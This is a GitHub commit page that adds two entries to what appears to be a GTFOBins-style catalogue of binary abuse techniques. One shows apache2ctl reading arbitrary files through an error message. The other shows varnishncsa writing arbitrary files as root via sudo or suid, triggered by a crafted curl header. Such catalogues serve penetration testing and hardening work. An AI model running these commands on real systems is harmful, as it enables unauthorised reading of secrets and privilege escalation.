-
Notifications
You must be signed in to change notification settings - Fork 1.4k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
29 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
--- | ||
description: This includes the file in the actual configuration file, the first line is leaked as an error message. | ||
functions: | ||
file-read: | ||
- code: | | ||
LFILE=file_to_read | ||
apache2ctl -c "Include $LFILE" -k stop | ||
sudo: | ||
- code: | | ||
LFILE=file_to_read | ||
sudo apache2ctl -c "Include $LFILE" -k stop | ||
--- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
--- | ||
description: | | ||
This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with: | ||
``` | ||
curl -H 'yyy: DATA' http://localhost:6081/xxx | ||
``` | ||
functions: | ||
sudo: | ||
- code: | | ||
LFILE=file_to_write | ||
sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE" | ||
suid: | ||
- code: | | ||
LFILE=file_to_write | ||
./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE" | ||
--- |